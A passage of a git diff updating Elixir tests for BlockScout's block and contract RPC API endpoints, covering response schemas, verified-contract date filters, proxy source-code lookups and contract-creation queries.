resolve_getblocknobytime_schema() assert :ok = ExJsonSchema.Validator.validate(schema, response) end @@ -193,9 +341,35 @@ defmodule BlockScoutWeb.API.RPC.BlockControllerTest do (timestamp_int - 1) |> to_string() - expected_result = %{ - "blockNumber" => "#{block.number}" - } + assert response = + conn + |> get("/api", %{ + "module" => "block", + "action" => "getblocknobytime", + "timestamp" => "#{timestamp_in_the_past_str}", + "closest" => "after" + }) + |> json_response(200) + + # TODO: migrate to the following format in the next release + # assert response["result"] == "#{block.number}" + assert response["result"] == %{"blockNumber" => "#{block.number}"} + assert response["status"] == "1" + assert response["message"] == "OK" + schema = resolve_getblocknobytime_schema() + assert :ok = ExJsonSchema.Validator.validate(schema, response) + end + + test "returns any nearest block within arbitrary range of time", %{conn: conn} do + timestamp_string = "1617020209" + {:ok, timestamp} = Chain.param_to_block_timestamp(timestamp_string) + block = insert(:block, timestamp: timestamp) + + {timestamp_int, _} = Integer.parse(timestamp_string) + + timestamp_in_the_past_str = + (timestamp_int - 2 * 60) + |> to_string() assert response = conn @@ -207,15 +381,17 @@ defmodule BlockScoutWeb.API.RPC.BlockControllerTest do }) |> json_response(200) - assert response["result"] == expected_result + # TODO: migrate to the following format in the next release + # assert response["result"] == "#{block.number}" + assert response["result"] == %{"blockNumber" => "#{block.number}"} assert response["status"] == "1" assert response["message"] == "OK" - schema = resolve_schema() + schema = resolve_getblocknobytime_schema() assert :ok = ExJsonSchema.Validator.validate(schema, response) end end - defp resolve_schema() do + defp resolve_getblockreward_schema() do ExJsonSchema.Schema.resolve(%{ "type" => "object", "properties" => %{ @@ -228,8 +404,59 @@ defmodule BlockScoutWeb.API.RPC.BlockControllerTest do "timeStamp" => %{"type" => "number"}, "blockMiner" => %{"type" => "string"}, "blockReward" => %{"type" => "string"}, - "uncles" => %{"type" => "null"}, - "uncleInclusionReward" => %{"type" => "null"} + "uncles" => %{ + "type" => "array", + "items" => %{ + "type" => "object", + "properties" => %{ + "miner" => %{"type" => "string"}, + "unclePosition" => %{"type" => "string"}, + "blockreward" => %{"type" => "string"} + } + } + }, + "uncleInclusionReward" => %{"type" => "string"} + } + } + } + }) + end + + defp resolve_getblockcountdown_schema() do + ExJsonSchema.Schema.resolve(%{ + "type" => "object", + "properties" => %{ + "message" => %{"type" => "string"}, + "status" => %{"type" => "string"}, + "result" => %{ + "type" => "object", + "properties" => %{ + "CurrentBlock" => %{"type" => "string"}, + "CountdownBlock" => %{"type" => "string"}, + "RemainingBlock" => %{"type" => "string"}, + "EstimateTimeInSec" => %{"type" => "string"} + } + } + } + }) + end + + defp resolve_getblocknobytime_schema do + ExJsonSchema.Schema.resolve(%{ + "type" => "object", + "properties" => %{ + "message" => %{"type" => "string"}, + "status" => %{"type" => "string"}, + # TODO: migrate to the following format in the next release + # + # "result" => %{ + # "type" => ["string", "null"], + # "description" => "Block number as a string or null if not found" + # } + "result" => %{ + "type" => ["object", "null"], + "properties" => %{ + "blockNumber" => %{"type" => "string"} } } } diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/contract_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/contract_controller_test.exs index 4f56efb7f00d..298737f772ac 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/contract_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/contract_controller_test.exs @@ -1,10 +1,88 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do use BlockScoutWeb.ConnCase - alias Explorer.Chain.SmartContract - alias Explorer.Chain - # alias Explorer.{Chain, Factory} import Mox + import Ecto.Query + + alias Explorer.{Repo, TestHelper} + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Explorer.Chain.{Address, SmartContract} + + setup :verify_on_exit! + + if Application.compile_env(:explorer, :chain_type) == :zksync do + @optimization_runs "0" + else + @optimization_runs 200 + end + + def prepare_contracts do + insert(:contract_address) + {:ok, dt_1, _} = DateTime.from_iso8601("2022-09-20 10:00:00Z") + + contract_1 = + insert(:smart_contract, + contract_code_md5: "123", + name: "Test 1", + optimization: "1", + compiler_version: "v0.6.8+commit.0bbfe453", + abi: [%{foo: "bar"}], + inserted_at: dt_1 + ) + + insert(:contract_address) + {:ok, dt_2, _} = DateTime.from_iso8601("2022-09-22 10:00:00Z") + + contract_2 = + insert(:smart_contract, + contract_code_md5: "12345", + name: "Test 2", + optimization: "0", + compiler_version: "v0.7.5+commit.eb77ed08", + abi: [%{foo: "bar-2"}], + inserted_at: dt_2 + ) + + insert(:contract_address) + {:ok, dt_3, _} = DateTime.from_iso8601("2022-09-24 10:00:00Z") + + contract_3 = + insert(:smart_contract, + contract_code_md5: "1234567", + name: "Test 3", + optimization: "1", + compiler_version: "v0.4.26+commit.4563c3fc", + abi: [%{foo: "bar-3"}], + inserted_at: dt_3 + ) + + [contract_1, contract_2, contract_3] + end + + def result(contract) do + %{ + "ABI" => Jason.encode!(contract.abi), + "Address" => to_string(contract.address_hash), + "CompilerVersion" => contract.compiler_version, + "ContractName" => contract.name, + "OptimizationUsed" => if(contract.optimization, do: "1", else: "0") + } + end + + defp result_not_verified(address_hash) do + %{ + "ABI" => "Contract source code not verified", + "Address" => to_string(address_hash) + } + end + + setup do + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + end describe "listcontracts" do setup do @@ -18,7 +96,7 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do |> json_response(400) assert response["message"] == - "invalid is not a valid value for `filter`. Please use one of: verified, decompiled, unverified, not_decompiled, 1, 2, 3, 4." + "invalid is not a valid value for `filter`. Please use one of: verified, unverified, 1, 2." assert response["status"] == "0" assert :ok = ExJsonSchema.Validator.validate(listcontracts_schema(), response) @@ -47,15 +125,11 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do assert response["message"] == "OK" assert response["status"] == "1" - assert response["result"] == [ - %{ - "ABI" => Jason.encode!(contract.abi), - "Address" => to_string(contract.address_hash), - "CompilerVersion" => contract.compiler_version, - "ContractName" => contract.name, - "OptimizationUsed" => if(contract.optimization, do: "1", else: "0") - } - ] + result_props = result(contract) |> Map.keys() + + for prop <- result_props do + assert Enum.at(response["result"], 0)[prop] == result(contract)[prop] + end assert :ok = ExJsonSchema.Validator.validate(listcontracts_schema(), response) end @@ -71,12 +145,7 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do assert response["message"] == "OK" assert response["status"] == "1" - assert response["result"] == [ - %{ - "ABI" => "Contract source code not verified", - "Address" => to_string(address.hash) - } - ] + assert response["result"] == [result_not_verified(address.hash)] assert :ok = ExJsonSchema.Validator.validate(listcontracts_schema(), response) end @@ -93,12 +162,7 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do assert response["message"] == "OK" assert response["status"] == "1" - assert response["result"] == [ - %{ - "ABI" => "Contract source code not verified", - "Address" => to_string(address.hash) - } - ] + assert response["result"] == [result_not_verified(address.hash)] assert :ok = ExJsonSchema.Validator.validate(listcontracts_schema(), response) end @@ -119,12 +183,7 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do assert response["message"] == "OK" assert response["status"] == "1" - assert response["result"] == [ - %{ - "ABI" => "Contract source code not verified", - "Address" => to_string(address.hash) - } - ] + assert response["result"] == [result_not_verified(address.hash)] assert :ok = ExJsonSchema.Validator.validate(listcontracts_schema(), response) end @@ -141,132 +200,100 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do assert response["message"] == "OK" assert response["status"] == "1" - assert response["result"] == [ - %{ - "ABI" => Jason.encode!(contract.abi), - "Address" => to_string(contract.address_hash), - "CompilerVersion" => contract.compiler_version, - "ContractName" => contract.name, - "OptimizationUsed" => if(contract.optimization, do: "1", else: "0") - } - ] - - assert :ok = ExJsonSchema.Validator.validate(listcontracts_schema(), response) - end - - test "filtering for only decompiled contracts shows only decompiled contracts", %{params: params, conn: conn} do - insert(:contract_address) - decompiled_smart_contract = insert(:decompiled_smart_contract) - - response = - conn - |> get("/api", Map.put(params, "filter", "decompiled")) - |> json_response(200) - - assert response["message"] == "OK" - assert response["status"] == "1" + result_props = result(contract) |> Map.keys() - assert response["result"] == [ - %{ - "ABI" => "Contract source code not verified", - "Address" => to_string(decompiled_smart_contract.address_hash) - } - ] + for prop <- result_props do + assert Enum.at(response["result"], 0)[prop] == result(contract)[prop] + end assert :ok = ExJsonSchema.Validator.validate(listcontracts_schema(), response) end - test "filtering for only decompiled contracts, with a decompiled with version filter", %{params: params, conn: conn} do - insert(:decompiled_smart_contract, decompiler_version: "foobar") - smart_contract = insert(:decompiled_smart_contract, decompiler_version: "bizbuz") - - response = - conn - |> get("/api", Map.merge(params, %{"filter" => "decompiled", "not_decompiled_with_version" => "foobar"})) - |> json_response(200) - - assert response["message"] == "OK" - assert response["status"] == "1" - - assert response["result"] == [ - %{ - "ABI" => "Contract source code not verified", - "Address" => to_string(smart_contract.address_hash) - } - ] - - assert :ok = ExJsonSchema.Validator.validate(listcontracts_schema(), response) - end + test "filtering for only verified contracts in the date range shows only verified contracts in that range", %{ + params: params, + conn: conn + } do + [_contract_1, contract_2, _contract_3] = prepare_contracts() - test "filtering for only decompiled contracts, with a decompiled with version filter, where another decompiled version exists", - %{params: params, conn: conn} do - non_match = insert(:decompiled_smart_contract, decompiler_version: "foobar") - insert(:decompiled_smart_contract, decompiler_version: "bizbuz", address_hash: non_match.address_hash) - smart_contract = insert(:decompiled_smart_contract, decompiler_version: "bizbuz") + filter_params = + params + |> Map.put("filter", "verified") + |> Map.put("verified_at_start_timestamp", "1663749418") + |> Map.put("verified_at_end_timestamp", "1663922218") response = conn - |> get("/api", Map.merge(params, %{"filter" => "decompiled", "not_decompiled_with_version" => "foobar"})) + |> get("/api", filter_params) |> json_response(200) assert response["message"] == "OK" assert response["status"] == "1" - assert %{ - "ABI" => "Contract source code not verified", - "Address" => to_string(smart_contract.address_hash) - } in response["result"] + result_props = result(contract_2) |> Map.keys() + + for prop <- result_props do + assert Enum.at(response["result"], 0)[prop] == result(contract_2)[prop] + end - refute to_string(non_match.address_hash) in Enum.map(response["result"], &Map.get(&1, "Address")) assert :ok = ExJsonSchema.Validator.validate(listcontracts_schema(), response) end - test "filtering for only not_decompiled (and by extension not verified contracts)", %{params: params, conn: conn} do - insert(:decompiled_smart_contract) - insert(:smart_contract, contract_code_md5: "123") - contract_address = insert(:contract_address) + test "filtering for only verified contracts with start created_at timestamp >= given timestamp shows only verified contracts in that range", + %{ + params: params, + conn: conn + } do + [_contract_1, contract_2, contract_3] = prepare_contracts() + + filter_params = + params + |> Map.put("filter", "verified") + |> Map.put("verified_at_start_timestamp", "1663749418") response = conn - |> get("/api", Map.put(params, "filter", "not_decompiled")) + |> get("/api", filter_params) |> json_response(200) assert response["message"] == "OK" assert response["status"] == "1" - assert response["result"] == [ - %{ - "ABI" => "Contract source code not verified", - "Address" => to_string(contract_address.hash) - } - ] + result_props = result(contract_2) |> Map.keys() + + for prop <- result_props do + assert Enum.at(response["result"], 0)[prop] == result(contract_2)[prop] + assert Enum.at(response["result"], 1)[prop] == result(contract_3)[prop] + end assert :ok = ExJsonSchema.Validator.validate(listcontracts_schema(), response) end - test "filtering for only not_decompiled (and by extension not verified contracts) does not show empty contracts", %{ - params: params, - conn: conn - } do - insert(:decompiled_smart_contract) - insert(:smart_contract, contract_code_md5: "123") - insert(:contract_address, contract_code: "0x") - contract_address = insert(:contract_address) + test "filtering for only verified contracts with end created_at timestamp < given timestamp shows only verified contracts in that range", + %{ + params: params, + conn: conn + } do + [contract_1, contract_2, _contract_3] = prepare_contracts() + + filter_params = + params + |> Map.put("filter", "verified") + |> Map.put("verified_at_end_timestamp", "1663922218") response = conn - |> get("/api", Map.put(params, "filter", "not_decompiled")) + |> get("/api", filter_params) |> json_response(200) assert response["message"] == "OK" assert response["status"] == "1" - assert response["result"] == [ - %{ - "ABI" => "Contract source code not verified", - "Address" => to_string(contract_address.hash) - } - ] + result_props = result(contract_1) |> Map.keys() + + for prop <- result_props do + assert Enum.at(response["result"], 0)[prop] == result(contract_1)[prop] + assert Enum.at(response["result"], 1)[prop] == result(contract_2)[prop] + end assert :ok = ExJsonSchema.Validator.validate(listcontracts_schema(), response) end @@ -396,20 +423,7 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do expected_result = [ %{ - "Address" => "", - "SourceCode" => "", - "ABI" => "Contract source code not verified", - "ContractName" => "", - "CompilerVersion" => "", - "OptimizationUsed" => "", - "DecompiledSourceCode" => "", - "DecompilerVersion" => "", - "ConstructorArguments" => "", - "EVMVersion" => "", - "ExternalLibraries" => "", - "OptimizationRuns" => "", - "FileName" => "", - "IsProxy" => "false" + "Address" => "0x8bf38d4764929064f2d4d3a56520a76ab3df415b" } ] @@ -428,7 +442,7 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do contract = insert(:smart_contract, optimization: true, - optimization_runs: 200, + optimization_runs: @optimization_runs, evm_version: "default", contract_code_md5: "123" ) @@ -450,21 +464,240 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do # for `OptimizationUsed` is "1". If it was false, the expected value # would be "0". "OptimizationUsed" => "true", - "OptimizationRuns" => 200, + "OptimizationRuns" => @optimization_runs, "EVMVersion" => "default", "FileName" => "", "IsProxy" => "false" } ] - get_implementation() + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() assert response = conn |> get("/api", params) |> json_response(200) - assert response["result"] == expected_result + result_props = Enum.at(expected_result, 0) |> Map.keys() + + for prop <- result_props do + assert Enum.at(response["result"], 0)[prop] == Enum.at(expected_result, 0)[prop] + end + + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(getsourcecode_schema(), response) + end + + test "with a verified proxy contract address", %{conn: conn} do + implementation_contract = + insert(:smart_contract, + name: "Implementation", + external_libraries: [], + constructor_arguments: "", + abi: [ + %{ + "type" => "constructor", + "inputs" => [ + %{"type" => "address", "name" => "_proxyStorage"}, + %{"type" => "address", "name" => "_implementationAddress"} + ] + }, + %{ + "constant" => false, + "inputs" => [%{"name" => "x", "type" => "uint256"}], + "name" => "set", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + }, + %{ + "constant" => true, + "inputs" => [], + "name" => "get", + "outputs" => [%{"name" => "", "type" => "uint256"}], + "payable" => false, + "stateMutability" => "view", + "type" => "function" + } + ], + license_type: 9 + ) + + implementation_contract_address_hash_string = + Base.encode16(implementation_contract.address_hash.bytes, case: :lower) + + proxy_transaction_input = + "0x11b804ab000000000000000000000000" <> + implementation_contract_address_hash_string <> + "000000000000000000000000000000000000000000000000000000000000006035323031313537360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000284e159163400000000000000000000000034420c13696f4ac650b9fafe915553a1abcd7dd30000000000000000000000000000000000000000000000000000000000000140000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001c00000000000000000000000000000000000000000000000000000000000000220000000000000000000000000ff5ae9b0a7522736299d797d80b8fc6f31d61100000000000000000000000000ff5ae9b0a7522736299d797d80b8fc6f31d6110000000000000000000000000000000000000000000000000000000000000003e8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034420c13696f4ac650b9fafe915553a1abcd7dd300000000000000000000000000000000000000000000000000000000000000184f7074696d69736d2053756273637269626572204e465473000000000000000000000000000000000000000000000000000000000000000000000000000000054f504e46540000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000037697066733a2f2f516d66544e504839765651334b5952346d6b52325a6b757756424266456f5a5554545064395538666931503332752f300000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000c82bbe41f2cf04e3a8efa18f7032bdd7f6d98a81000000000000000000000000efba8a2a82ec1fb1273806174f5e28fbb917cf9500000000000000000000000000000000000000000000000000000000" + + proxy_deployed_bytecode = + "0x363d3d373d3d3d363d73" <> implementation_contract_address_hash_string <> "5af43d82803e903d91602b57fd5bf3" + + proxy_address = + insert(:contract_address, + contract_code: proxy_deployed_bytecode, + verified: true + ) + + proxy_abi = [ + %{ + "type" => "function", + "stateMutability" => "nonpayable", + "payable" => false, + "outputs" => [%{"type" => "bool", "name" => ""}], + "name" => "upgradeTo", + "inputs" => [%{"type" => "address", "name" => "newImplementation"}], + "constant" => false + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "uint256", "name" => ""}], + "name" => "version", + "inputs" => [], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "address", "name" => ""}], + "name" => "implementation", + "inputs" => [], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "nonpayable", + "payable" => false, + "outputs" => [], + "name" => "renounceOwnership", + "inputs" => [], + "constant" => false + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "address", "name" => ""}], + "name" => "getOwner", + "inputs" => [], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "address", "name" => ""}], + "name" => "getProxyStorage", + "inputs" => [], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "nonpayable", + "payable" => false, + "outputs" => [], + "name" => "transferOwnership", + "inputs" => [%{"type" => "address", "name" => "_newOwner"}], + "constant" => false + }, + %{ + "type" => "constructor", + "stateMutability" => "nonpayable", + "payable" => false, + "inputs" => [ + %{"type" => "address", "name" => "_proxyStorage"}, + %{"type" => "address", "name" => "_implementationAddress"} + ] + }, + %{"type" => "fallback", "stateMutability" => "nonpayable", "payable" => false}, + %{ + "type" => "event", + "name" => "Upgraded", + "inputs" => [ + %{"type" => "uint256", "name" => "version", "indexed" => false}, + %{"type" => "address", "name" => "implementation", "indexed" => true} + ], + "anonymous" => false + }, + %{ + "type" => "event", + "name" => "OwnershipRenounced", + "inputs" => [%{"type" => "address", "name" => "previousOwner", "indexed" => true}], + "anonymous" => false + }, + %{ + "type" => "event", + "name" => "OwnershipTransferred", + "inputs" => [ + %{"type" => "address", "name" => "previousOwner", "indexed" => true}, + %{"type" => "address", "name" => "newOwner", "indexed" => true} + ], + "anonymous" => false + } + ] + + proxy_contract = + insert(:smart_contract, + address_hash: proxy_address.hash, + name: "Proxy", + abi: proxy_abi + ) + + insert(:transaction, + created_contract_address_hash: proxy_address.hash, + input: proxy_transaction_input + ) + |> with_block(status: :ok) + + name = implementation_contract.name + + insert(:proxy_implementation, + proxy_address_hash: proxy_address.hash, + proxy_type: "eip1167", + address_hashes: [implementation_contract.address_hash], + names: [name] + ) + + params = %{ + "module" => "contract", + "action" => "getsourcecode", + "address" => Address.checksum(proxy_address.hash) + } + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + expected_result = [ + %{ + "Address" => to_string(proxy_contract.address_hash), + "SourceCode" => proxy_contract.contract_source_code, + "ABI" => Jason.encode!(proxy_contract.abi), + "ContractName" => proxy_contract.name, + "CompilerVersion" => proxy_contract.compiler_version, + "FileName" => "", + "IsProxy" => "true", + "ImplementationAddress" => to_string(implementation_contract.address_hash), + "ImplementationAddresses" => [to_string(implementation_contract.address_hash)], + "EVMVersion" => nil, + "OptimizationUsed" => "false" + } + ] + + result_props = Enum.at(expected_result, 0) |> Map.keys() + + for prop <- result_props do + assert Enum.at(response["result"], 0)[prop] == Enum.at(expected_result, 0)[prop] + end + assert response["status"] == "1" assert response["message"] == "OK" assert :ok = ExJsonSchema.Validator.validate(getsourcecode_schema(), response) @@ -474,7 +707,7 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do contract = insert(:smart_contract, optimization: true, - optimization_runs: 200, + optimization_runs: @optimization_runs, evm_version: "default", constructor_arguments: "00000000000000000000000008e7592ce0d7ebabf42844b62ee6a878d4e1913e000000000000000000000000e1b6037da5f1d756499e184ca15254a981c92546", @@ -495,7 +728,7 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do "ContractName" => contract.name, "CompilerVersion" => contract.compiler_version, "OptimizationUsed" => "true", - "OptimizationRuns" => 200, + "OptimizationRuns" => @optimization_runs, "EVMVersion" => "default", "ConstructorArguments" => "00000000000000000000000008e7592ce0d7ebabf42844b62ee6a878d4e1913e000000000000000000000000e1b6037da5f1d756499e184ca15254a981c92546", @@ -504,14 +737,20 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do } ] - get_implementation() + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() assert response = conn |> get("/api", params) |> json_response(200) - assert response["result"] == expected_result + result_props = Enum.at(expected_result, 0) |> Map.keys() + + for prop <- result_props do + assert Enum.at(response["result"], 0)[prop] == Enum.at(expected_result, 0)[prop] + end + assert response["status"] == "1" assert response["message"] == "OK" assert :ok = ExJsonSchema.Validator.validate(getsourcecode_schema(), response) @@ -572,7 +811,7 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do } ], optimization: true, - optimization_runs: 200, + optimization_runs: @optimization_runs, evm_version: "default" } @@ -581,7 +820,7 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do %SmartContract.ExternalLibrary{:address_hash => "0x283539e1b1daf24cdd58a3e934d55062ea663c3f", :name => "Test2"} ] - {:ok, %SmartContract{} = contract} = Chain.create_smart_contract(valid_attrs, external_libraries) + {:ok, %SmartContract{} = contract} = SmartContract.create_smart_contract(valid_attrs, external_libraries) params = %{ "module" => "contract", @@ -597,7 +836,7 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do "ContractName" => contract.name, "CompilerVersion" => contract.compiler_version, "OptimizationUsed" => "true", - "OptimizationRuns" => 200, + "OptimizationRuns" => @optimization_runs, "EVMVersion" => "default", "ExternalLibraries" => [ %{"name" => "Test", "address_hash" => "0xb18aed9518d735482badb4e8b7fd8d2ba425ce95"}, @@ -608,14 +847,20 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do } ] - get_implementation() + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() assert response = conn |> get("/api", params) |> json_response(200) - assert response["result"] == expected_result + result_props = Enum.at(expected_result, 0) |> Map.keys() + + for prop <- result_props do + assert Enum.at(response["result"], 0)[prop] == Enum.at(expected_result, 0)[prop] + end + assert response["status"] == "1" assert response["message"] == "OK" assert :ok = ExJsonSchema.Validator.validate(getsourcecode_schema(), response) @@ -644,7 +889,7 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do params = %{ "module" => "contract", "action" => "verify_via_sourcify", - "addressHash" => "0x18d89C12e9463Be6343c35C9990361bA4C42AfC2" + "addressHash" => "0xf26594F585De4EB0Ae9De865d9053FEe02ac6eF1" } response = @@ -664,17 +909,18 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do _created_contract_address = insert( :address, - hash: "0x18d89C12e9463Be6343c35C9990361bA4C42AfC2", + hash: "0xf26594F585De4EB0Ae9De865d9053FEe02ac6eF1", contract_code: smart_contract_bytecode ) params = %{ "module" => "contract", "action" => "verify_via_sourcify", - "addressHash" => "0x18d89C12e9463Be6343c35C9990361bA4C42AfC2" + "addressHash" => "0xf26594F585De4EB0Ae9De865d9053FEe02ac6eF1" } - get_implementation() + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() conn |> get("/api", params) @@ -703,7 +949,7 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do # |> get("/api", params) # |> json_response(200) - # verified_contract = Chain.address_hash_to_smart_contract(contract_address.hash) + # verified_contract = SmartContract.address_hash_to_smart_contract(contract_address.hash) # expected_result = %{ # "Address" => to_string(contract_address.hash), @@ -776,7 +1022,7 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do # result = response["result"] - # verified_contract = Chain.address_hash_to_smart_contract(contract_address.hash) + # verified_contract = SmartContract.address_hash_to_smart_contract(contract_address.hash) # assert result["Address"] == to_string(contract_address.hash) @@ -785,13 +1031,345 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do # contract_source_code # assert result["ContractName"] == name - # assert result["DecompiledSourceCode"] == nil - # assert result["DecompilerVersion"] == nil # assert result["OptimizationUsed"] == "true" # assert :ok = ExJsonSchema.Validator.validate(verify_schema(), response) # end end + describe "getcontractcreation" do + setup do + %{params: %{"module" => "contract", "action" => "getcontractcreation"}} + end + + test "return error", %{conn: conn, params: params} do + %{ + "status" => "0", + "message" => "Query parameter contractaddresses is required", + "result" => "Query parameter contractaddresses is required" + } = + conn + |> get("/api", params) + |> json_response(200) + end + + test "get empty list", %{conn: conn, params: params} do + address = build(:address) + address_1 = insert(:address) + + %{ + "status" => "1", + "message" => "OK", + "result" => [] + } = + conn + |> get("/api", Map.put(params, "contractaddresses", "#{to_string(address)},#{to_string(address_1)}")) + |> json_response(200) + end + + test "get contract creation info from a transaction", %{conn: conn, params: params} do + address_1 = build(:address) + address = insert(:contract_address) + {:ok, block_timestamp, _} = DateTime.from_iso8601("2021-05-05T21:42:11.000000Z") + unix_timestamp = DateTime.to_unix(block_timestamp, :second) + + transaction = + insert(:transaction, + created_contract_address: address, + block_timestamp: block_timestamp + ) + + %{ + "status" => "1", + "message" => "OK", + "result" => [ + %{ + "contractAddress" => contract_address, + "contractCreator" => contract_creator, + "txHash" => transaction_hash, + "blockNumber" => block_number, + "timestamp" => timestamp, + "contractFactory" => "", + "creationBytecode" => creation_bytecode + } + ] + } = + conn + |> get("/api", Map.put(params, "contractaddresses", "#{to_string(address)},#{to_string(address_1)}")) + |> json_response(200) + + assert contract_address == to_string(address.hash) + assert contract_creator == to_string(transaction.from_address_hash) + assert transaction_hash == to_string(transaction.hash) + assert block_number == to_string(transaction.block_number) + assert timestamp == to_string(unix_timestamp) + assert creation_bytecode == to_string(transaction.input) + end + + test "get contract creation info via internal transaction", %{conn: conn, params: params} do + {:ok, block_timestamp, _} = DateTime.from_iso8601("2021-05-05T21:42:11.000000Z") + unix_timestamp = DateTime.to_unix(block_timestamp, :second) + + block = insert(:block, timestamp: block_timestamp) + + transaction = + :transaction + |> insert() + |> with_block(block) + + internal_transaction = + insert(:internal_transaction_create, + transaction: transaction, + index: 1, + block_hash: transaction.block_hash, + block_index: transaction.index + ) + + address = internal_transaction.created_contract_address + + %{ + "status" => "1", + "message" => "OK", + "result" => [ + %{ + "contractAddress" => contract_address, + "contractCreator" => contract_creator, + "txHash" => transaction_hash, + "blockNumber" => block_number, + "timestamp" => timestamp, + "contractFactory" => contract_factory, + "creationBytecode" => creation_bytecode + } + ] + } = + conn + |> get("/api", Map.put(params, "contractaddresses", to_string(address))) + |> json_response(200) + + assert contract_address == to_string(internal_transaction.created_contract_address_hash) + assert contract_creator == to_string(internal_transaction.transaction.from_address_hash) + assert transaction_hash == to_string(internal_transaction.transaction.hash) + assert block_number == to_string(internal_transaction.transaction.block_number) + assert timestamp == to_string(unix_timestamp) + assert contract_factory == to_string(internal_transaction.from_address_hash) + assert creation_bytecode == to_string(internal_transaction.init) + end + + test "get contract creation info via internal transaction with index 0 and parent transaction - contractFactory should be empty", + %{ + conn: conn, + params: params + } do + {:ok, block_timestamp, _} = DateTime.from_iso8601("2021-05-05T21:42:11.000000Z") + block = insert(:block, timestamp: block_timestamp) + contract_address = insert(:contract_address) + + # Create a transaction that creates the contract + transaction = + :transaction + |> insert(created_contract_address: contract_address) + |> with_block(block) + + # Also create an internal transaction with index 0 for the same contract + insert(:internal_transaction_create, + transaction: transaction, + # index 0 should result in empty contractFactory + index: 0, + created_contract_address: contract_address, + block_hash: transaction.block_hash, + block_index: transaction.index + ) + + assert %{ + "result" => [ + %{ + "contractFactory" => "", + "contractCreator" => contract_creator + } + ] + } = + conn + |> get("/api", Map.put(params, "contractaddresses", to_string(contract_address))) + |> json_response(200) + + assert contract_creator == to_string(transaction.from_address_hash) + end + end + + describe "verifyproxycontract & checkproxyverification" do + setup do + %{params: %{"module" => "contract"}} + end + + @proxy_abi [ + %{ + "type" => "function", + "stateMutability" => "nonpayable", + "payable" => false, + "outputs" => [%{"type" => "bool", "name" => ""}], + "name" => "upgradeTo", + "inputs" => [%{"type" => "address", "name" => "newImplementation"}], + "constant" => false + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "uint256", "name" => ""}], + "name" => "version", + "inputs" => [], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "address", "name" => ""}], + "name" => "implementation", + "inputs" => [], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "nonpayable", + "payable" => false, + "outputs" => [], + "name" => "renounceOwnership", + "inputs" => [], + "constant" => false + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "address", "name" => ""}], + "name" => "getOwner", + "inputs" => [], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "address", "name" => ""}], + "name" => "getProxyStorage", + "inputs" => [], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "nonpayable", + "payable" => false, + "outputs" => [], + "name" => "transferOwnership", + "inputs" => [%{"type" => "address", "name" => "_newOwner"}], + "constant" => false + }, + %{ + "type" => "constructor", + "stateMutability" => "nonpayable", + "payable" => false, + "inputs" => [ + %{"type" => "address", "name" => "_proxyStorage"}, + %{"type" => "address", "name" => "_implementationAddress"} + ] + }, + %{"type" => "fallback", "stateMutability" => "nonpayable", "payable" => false}, + %{ + "type" => "event", + "name" => "Upgraded", + "inputs" => [ + %{"type" => "uint256", "name" => "version", "indexed" => false}, + %{"type" => "address", "name" => "implementation", "indexed" => true} + ], + "anonymous" => false + }, + %{ + "type" 